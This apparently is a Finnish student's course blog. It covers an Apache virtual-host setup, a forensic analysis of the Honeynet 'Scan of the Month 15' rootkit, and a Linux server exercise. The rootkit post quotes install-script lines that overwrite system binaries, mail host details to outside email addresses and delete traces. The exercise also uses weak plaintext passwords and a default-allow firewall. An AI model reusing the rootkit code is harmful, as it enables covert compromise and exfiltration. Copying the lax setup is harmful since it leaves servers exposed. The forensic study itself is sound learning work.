torstai 31. tammikuuta 2013

Tehtävä 3 - virtuaalipalvelin

Tehtävä 3 - Virtuaalipalvelin

Tein tehtävän hp Elitebook2560p koneella käyttäen Xubuntu 12.10 käyttöjärjestelmää.

Tehtävänä oli tehdä apachelle nimipohjainen virtuaalipalvelin, tehdä virheitä apachen lokiin ja analysoida niitä.


Aloitus

Käynnistin jo aijemmin tekemäni live USB tikun kautta Xubuntun. 
Työpöydän avauduttua kokeilin verkkoselaimen toimivuutta.
Sain tervokarvinen.com sivuston auki virheettömästi.
Seuraavaksi avasin terminaalin ja latasin mahdolliset päivitykset komennolla
"sudo apt-get update"
Muutin myös näppäimistöasetuksen suomeksi "setxkbmap fi"

Päivitysten latauduttua päättelin tehtätävänannosta, että apache olisi hyvä asentaa.
"sudo apt-get install apache2"

Virtuaalisivun luonti

Tämän jälkeen siirryin tekemään käyttäjälleni public_html kansiota ja sinne mielikuvituksellista sivustoa.
 "mkdir public_html"
"cd public_html"
"mkdir virtuaalisivu.com"

Seuraavaksi seikkailin etc hakemistoon tiedostoon hosts, jotta saisin määriteltyä virtuaalisivujeni nimitiedot.
"cd /etc"
"sudo nano hosts"

Tässä vaiheessa tajusin, etten tiedä koneeni paikallista ip-osoitetta.
Poistuin tiedostosta ja kirjoitin komennon "ip a". Näin sain poimittua ip-osoitteeni  192.168.1.121.
Menin takaisin hosts tiedostoon ja määrittelin seuraavasti:
  192.168.1.121 www.virtuaalisivu.com
 192.168.1.121 virtuaalisivu.com

Oletin tämän ohjaavan molemmat osoitteet samalle sivulle.
Hetken netissä pyörittyäni tajusin, että minun pitää mennä tekemään asetuksia apachen tiedostoihin
"cd etc/apache2/sites-available"
Löysin hakemistosta default pohjan ja ajattelin kopioida sen omaan käyttöön virtuaalisivulleni.
"sudo cp default virtuaalisivu.com"

Löysin internetistä etsittyäni ohjeita virtuaalipalvelinten teosta, ja niiden ohjeilla ryhdyin muokkaamaan nanolla virtuaalisivu.com tiedostoa.
"sudo nano virtuaalisivu.com"

Kirjoitin tiedostoon seuraavanlaisesti:
 <VirtualHost *:80>
ServerAdmin webmaster@localhost
ServerName www.virtuaalisivu.com
ServerAlias virtuaalisivu.com
DocumentRoot /home/Xubuntu/public_html/virtuaalisivu.com
</VirtualHost>

Sivun sisältö


Seuraavaksi siirryin virtuaalisivu-kansiooni luomaan index.html sivun.

"cd"
"cd public_html/virtuaalisivu.com"
"sudo nano index.html"
Tero Karvisen innoittamana käytin hänen html-pohjaansa indexiin.


<!doctype html>
<html>
<head>
 <title>www.virtuaalisivu.com</title>
 <meta charset="utf-8" />
</head>
<body>
 <h1>www.virtuaalisivu.com</h1>
 <p>Oton hieno apachepohjainen virtuaalisivu!</p>
</body>
</html>

Käyttöönotto

Löysin netistä apachen komentoja, ja näin ollen otin käyttöön virtuaalipalvelimeni.
"sudo a2ensite virtuaalisivu.com"
Tämän jälkeen uudelleenkäynnistin apachen
"service apache2 reload"
Sain virheilmoituksen:
 Warning: DocumentRoot [/home/Xubuntu/public_html/virtuaalisivu.com] does not exist
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerNamea

Lähdin nanolla korjaamaan virtuaalisivu.com tiedostoa ja korvasin sieltä ison X kirjaimen pieneksi.
Kokeilin uudestaan "sudo service apache2 reload"
Tämän jälkeen "sudo a2ensite virtuaalisivu.com"

Sain ilmoituksen
 ... waiting .apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName

Lokit

Sain jokatapauksessa onnistuneesti yhdistettyä selaimella sivulle "www.virtuaalisivu.com" ja sivulla näkyi haluttu sisältö. Sama sisältö tuli kirjoittaessa "virtuaalisivu.com"

Seuraavaksi ryhdyin miettimään millaisia virheitä voisin keksiä apachen lokeihin. Tietämykseni aiheesta on hyvin suppea, joten minun oli syytä paneutua asiaan internetissä.
Sain selville että lokeja löytyy hakemistosta file system/var/log/apache2
Lokeista löytyi jo joitain tapahtuneita virheitä kuten:

 [Thu Jan 31 16:28:05 2013] [error] [client 192.168.1.121] File does not exist: /home/xubuntu/public_html/virtuaalisivu.com/favicon.ico

Kyseinen virhe ilmeisesti johtui virheellisesti syöttämästäni tiedostojuuresta.


Tehtävään kului noin 4-5 tuntia.

Lähteet:

http://httpd.apache.org/
http://wiki.apache.org/httpd/
http://ubuntu-tutorials.com/2008/01/09/setting-up-name-based-virtual-hosting/
www.terokarvinen.com






















torstai 24. tammikuuta 2013

Scan of the month 15



Linux palvelimena kurssin ensimmäinen varsinainen tehtävä



Aloitus

Tehtävänä oli suorittaa "Scan of the month 15". Kyseessä oli tapaus, jossa koneelle oli asennettu rootkit,
ja poistettu tämän jälkeen. Tehtävänä oli ladata hakemisto, kuvailla rootkitin analysointi ja etsiä rootkitin korvaavat tiedostot.
Suoritin tehtävän HP Elitebook 2560p läppärillä. Käyttöjärjestelmänä live cd Xubuntu 12.10.

Aloitin tehtävän boottaamalla linuxin USB-tikulta, jonka olin jo aijemmassa tehtävässä luonut.
Xubuntun käynnistyttyä avasin terminaalin, ja ensitöikseni vaihdoin näppäimistön
suomeksi komennolla "sudo setxkbmap fi"

Tämän jälkeen latasin mahdolliset päivitykset komennolla "sudo apt-get update"

Tehtävänantoon tutustuttuani latasin tiedoston honeynet.tar.gz.

Opettaja oli kehottanut asentamaan sleuth kitin, jonka mukana tulee ohjelma nimeltä "Autopsy"
"sudo apt-get install sleuthkit"
Seuraavaksi kokeilin ohjelman toimivuutta
"sudo autopsy"
Ilmeni ettei autopsy ollutkaan tullut paketin mukana, joten hain sen erikseen komennolla
"sudo apt-get install autopsy"

Tässä vaiheessa eteeni tuli ongelma. Ilmeisesti live USB-tikkuni ei ole täydessä toiminnassa, sillä
saan virheilmoituksen:
"BEGIN failed--compilation aborted at (eval 1) line 4.
) -- aborting
dpkg: error: unable to stat triggers deferred file `/var/lib/dpkg/triggers/Unincorp': Input/output error
E: Sub-process /usr/bin/dpkg returned an error code (2)"

Pari tuntia tutkittuani huomasin, että mikään ohjelma ei suostu asentumaan. Saan aina 
lopuksi virheilmoituksen. Tämän jälkeen päätin tehdä itselleni uuden live cd:n ja aloittaa alusta.

Uusi yritys

Tällä kertaa tutustuin sleuth kitin ominaisuuksiin hieman tarkemmin.
Löysin mielenkiintoisen työkalun nimeltä "tsk_recover" joka vaikutti sopivan juuri tähän tarkoitukseen.
Kyseisellä ohjelmalla saisin kaikki kohdennetut (allocated) ja kohdentamattomat (unallocated) tiedostot yhteen hakemistoon.

Tutustuin tsk_recovery ohjelmaan hyvän tovin.

Ajoin komennon "tsk_recover -e honeypot.hda8.dd tsk_recover"
Nyt pääsen seikkailemaan ja tarkastelemaan tiedostoja.

Hakemiston alussa oli paketti "lk.tgz"

Kiinnostuksestani halusin purkaa moisen paketin. Tein tämän komennolla "tar -xvf lk-tgz"

Seuraavaksi pääsin seikkailemaan kyseiseen hakemistoon.
Hakemistosta löytyi minulle hyvin tuntemattomia tiedostoja, mutta tämä ei vielä tarkoittaisi että asiassa olisi jotain mätää. 
Löysin tiedostoja  mm nimeltä linsniffer, lsattr, netstat, sense ja install.
linsniffer tiedostosta googlaamalla löytyi tietoa, joka viittasi sen kuuluvan rootkittiin.

Tarkastelin install tiedostoa "nano install"
Yllätyksekseni sain eteeni espanjaa. 
Tässä vaiheessa olin lievästi sanottuna hukassa tehtävän kanssa, joten päätin pitää tunnin-parin tauon.


Rootkitin sisällön avaus

Palasin tarkastelemaan install tiedostoa tarkemmin, ilman sanakirjaa. Löysin  sähköpostiosoitteen "bibi_damm@yahoo.com"
Törmäsin myös osoitteeseen last@linuxmail.org. Last tematiikka toistui tsk_recoverilla löytyneissä tiedostoissa useampaan otteeseen. Olisiko "last" kenties jokin muuttuva parametri rootkitissa? En osaa sanoa.
Rootkitistä löytyi tekstiä

echo    "********* Instalarea Rootkitului A Pornit La Drum *********"
echo    "********* Mircea SUGI PULA ********************************"
echo    "********* Multumiri La Toti Care M-Au Ajutat **************" 
echo    "********* Lemme Give You A Tip : **************************"
echo    "********* Scream & swear as much as you can ***************"
echo    "********* Ignore everything, call your freedom ************"
echo    "********* Cuz anyway nobody will hear you and no one will *"
echo    "********* Care about you **********************************"
echo
echo

Tämä herätti minussa lievää ahdistuksen tunnetta, kuten oli varmasti tarkoituskin.
Rootkitissä myös ilmeisesti asennettiin olemassa olevien tiedostojen päälle asioita

echo -n "* Inlocuim nestat ... alea alea "
rm -rf /sbin/ifconfig
mv ifconfig /sbin/ifconfig
rm -rf /bin/netstat
mv netstat /bin/netstat
rm -rf /bin/ps
mv ps /bin/ps
rm -rf /usr/bin/top
mv top /usr/bin/top
cp -f mkxfs /usr/sbin/
echo "* Gata..."
echo -n "* Dev... "
echo
echo

Suurta osaa tekstiä/koodia en ymmärtänyt laisinkaan, mutta silmiin pisti eräs kohta, jossa viitattiin "install" tiedostosta löytyneisiin sähköpostiosoitteisiin.

echo "* Luam Informatiile dorite ..."
echo "* Info : $(uname -a)" >> computer
echo "* Hostname : $(hostname -f)" >> computer
echo "* IfConfig : $(/sbin/ifconfig | grep inet)" >> computer
echo "* Uptime : $(uptime)" >> computer
echo "* Cpu Vendor ID : $(cat /proc/cpuinfo|grep vendor_id)" >> computer
echo "* Cpu Model : $(cat /proc/cpuinfo|grep model)" >> computer
echo "* Cpu Speed: $(cat /proc/cpuinfo|grep MHz)" >> computer
echo "* Bogomips: $(cat /proc/cpuinfo|grep bogomips)" >> computer
echo "* Spatiu Liber: $(df -h)" >> computer
echo "* Gata ! Trimitem Mailul ...Asteapta Te Rog "
cat computer | mail -s "placinte" last@linuxmail.org
cat computer | mail -s "roote" bidi_damm@yahoo.com
echo "* Am trimis mailul ... stergem fisierele care nu mai trebuie ."
echo
echo
echo "* G A T A *"
echo
echo "* That Was Nice Last "

Lopussa vastaan tuli tekstinpätkä:

cd /
rm -rf last lk.tgz computer lk.tar.gz

Tiedän rm komennon poistavan tiedostoja, joten päättelin rootkitin "piilottamisen" tapahtuvan tässä.

Lopputulos

En osannut nykyisellä tietämykselläni selvittää asiaa tämän enempää. Sain tietoon rootkitin sisältöä ja sain sen purettua hakemistoon. Rootkitin tekijästä en saanut muuta tietoa, kun sähköpostiosoitteen, tosin tekijän nimi tuskin on Bidi Damm. Tein tehtävää kaiken kaikkiaan noin 6 tuntia, mukaanlaskien uuden USB live cd:n teon.

Otto Kalliomäki

Lähteet

http://wiki.sleuthkit.org
http://www.sleuthkit.org/case/sotm_15/index.html
http://old.honeynet.org/scans/scan15/
http://terokarvinen.com/2012/aikataulu-linux-palvelimena-ict4tn003-7-ict4tn003-kevaalla-2013

sunnuntai 20. tammikuuta 2013

Linux kertaustehtävä

16.1.2013

Valitsin harjoitteeksi vanhan kokeen "http://terokarvinen.com/2011/tyoasemat-ja-tietoverkot-24-koe"

Tein tehtävän koulun läppärillä mallia HP EliteBook 2560p. Tehtävä saatiin loppuun suurilta osin onnistuneesti.

Ennen tehtävää tein itselleni USB-muistitikulle bootattavan Xubuntun(Live CD).
Aloitin tehtävän boottaamalla usb-tikulta xubuntun. Xubuntu käynnistyi hyvin ja sain työpöydän näkyviin. Järjestelmän käynnistyttyä avasin terminaalin.
Terminaaliin kirjoitin "sudo apt-get update", jotta varmistaisin olevani ajan tasalla päivityksistä.

Tehtävänannossa pyydetään asentamaan Linux ja valmistautumaan etäkäyttöön.
Täten tarvitsemme ssh-yhteyden, jonka hankimme komennolla "sudo apt-get install openssh-server".
Varmistusen jälkeen ssh-yhteysmahdollisuudet olivat asennettuja.
Seuraavaksi pyydettiin asentamaan weppipalvelin.
Kirjoitin terminaaliin "sudo apt-get install apache2", ja weppipalvelin saatiin asennettua.

Tehtävää tutkailtuani tulin siihen tulokseen, että seuraaaksi kannattaa edetä tekemällä
käyttäjät. Käyttäjiä tarvitaan viisi kappaletta; Elmeri Ångström, Maija Mehiläinen, Veikko Hurme, Almond Lorenz ja Per Åkker.

Tein käyttäjän "elmån" Elmerille komennolla "sudo adduser elman"
Salasanaksi valitsin Hurtaga1.
Muita tietoja en kokenut tarpeelliseksi tehtävän kannalta.
Seuraavaksi tein samoilla perjaatteilla loput 4 käyttäjää, varioiden salasanan numeromuuttujaa 2-5.
Varmistusten jälkeen olivat käyttäjät valmiit.

Kirjoitin terminaaliin "sudo apt-get install python" vain todetakseni, että pyhton oli
jo asennettuna uusimpana versiona.

Kirjaudutaan käyttäjänä maimeh ja luodaan kansio nimeltä starsign.
"ssh maimeh@localhost"
"mkdir starsign"
Seuraavaksi loin tekstitiedoston nimeltä LISENSSI
"cd starsign
nano LICENSE"
^O ^X
Seuraavaksi loin tekstitiedoston README.maija, johon perustelin maijalle vapaan
lisenssin vahvuudet.
Seuraavaksi loin kansioon starsign.py tiedoston
"nano starsign.py"
Poistuttiin Maijan käyttäjältä komennolla "exit"

Kirjaudutaan käyttäjänä elman.
"ssh elman@localhost"
Tehdään elmerille kansio randomwalk
"mkdir randomwalk"
Luodaan kansioon tiedosto "heimaailma.java" ja sinne koodia.
"nano heimaailma.java"
"system.out.println("Hei Maailma!");"
Poistutaan elmerin käyttäjältä komennolla "exit"

Seuraavaksi asennetaan palomuuri
"sudo apt-get install gufw"
Asennus onnistui virheettömästi.
Seuraavaksi tarkistin tulimuurin tilanteen"sudo ufw status"
Huomasin tulimuurin olevan sammutettuna, joten etenin seuraavin komennoin:
"sudo ufw enable
sudo ufw default allow"

Seuraavaksi tehdään kaikille käyttäjille oma kotisivu.
Laitetaan apache näyttämään jokaisen omasta homesta public html kansion.
"cd /ect/apache2/mods-available"
Tämän jälkeen kopioidaan userdir.conf ja userdir.load kansioon /etc/apache2/mods-enabled
"sudo cp userdir.conf ../mods-enabled"
"sudo cp userdir.load ../mods-enabled"
Käynnistetään apache uudestaan
"sudo /etc/init.d/apache2 restart"

Kokeillaan public html toimivuutta
"mkdir public_html", hyvin toimi.

Seuraavaksi luodaan public_html kansioon index.html.
"cd public_html"
"nano index.html"
Index.html tiedostoon tuli teksti:

<html>
<head>
Esimerkki
</head>
<body>
<h1> Esimerkki</h1>
<p> Esimerkkikamaa </p>
</body>
</html>

Seuraavaksi kopioidaan tehty kansio ja esimerkkisivu kaikille käyttäjille.
"sudo cp -r public_html/ ../elman
sudo cp -r public_html/ ../maimeh
sudo cp -r public_html/ ../veikhu
sudo cp -r public_html/ ../almlo
sudo cp -r public_html/ ../perakk

Seuraavaksi mennään Veikon html kansioon tekemään php sivu.
"cd ../veikhu/public_html"
Tässä välissä olisi hyvä asentaa php
"sudo apt-get install php5"

Tehdään Veikolle index.php ja poistetaan vanha index.html
"sudo nano index.php"
"sudo rm index.html"

Tämän jälkeen tarkistettiin toimivuus ja todettiin harjoitus tehdyksi.


Otto Kalliomäki